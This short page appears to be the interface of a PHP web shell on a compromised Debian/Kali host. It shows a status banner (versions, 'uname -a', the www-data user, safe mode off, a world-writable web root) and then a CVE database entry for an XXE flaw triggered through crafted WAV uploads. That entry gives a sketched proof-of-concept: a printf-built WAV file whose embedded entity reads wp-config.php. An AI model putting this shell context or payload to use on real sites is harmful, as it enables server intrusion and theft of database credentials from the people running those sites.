Software: Apache/2.4.68 (Debian). PHP/8.2.33 uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /var/www/html/ drwxrwxrwx | |
|
[← Back to CVE DB] DescriptionXML External Entity injection in the media upload pipeline. Uploading a crafted WAV file causes PHP to parse an XXE payload, reading local files such as wp-config.php with the permissions of the media handler. PoC / Payload — CVE-2021-29447 printf 'RIFF.....WAVEfmt \x16\x10\x00\x00...' > p.wav\n# embed <!DOCTYPE ... <!ENTITY xxe SYSTEM "file:///var/www/wp-config.php">\n# upload p.wav -> file read |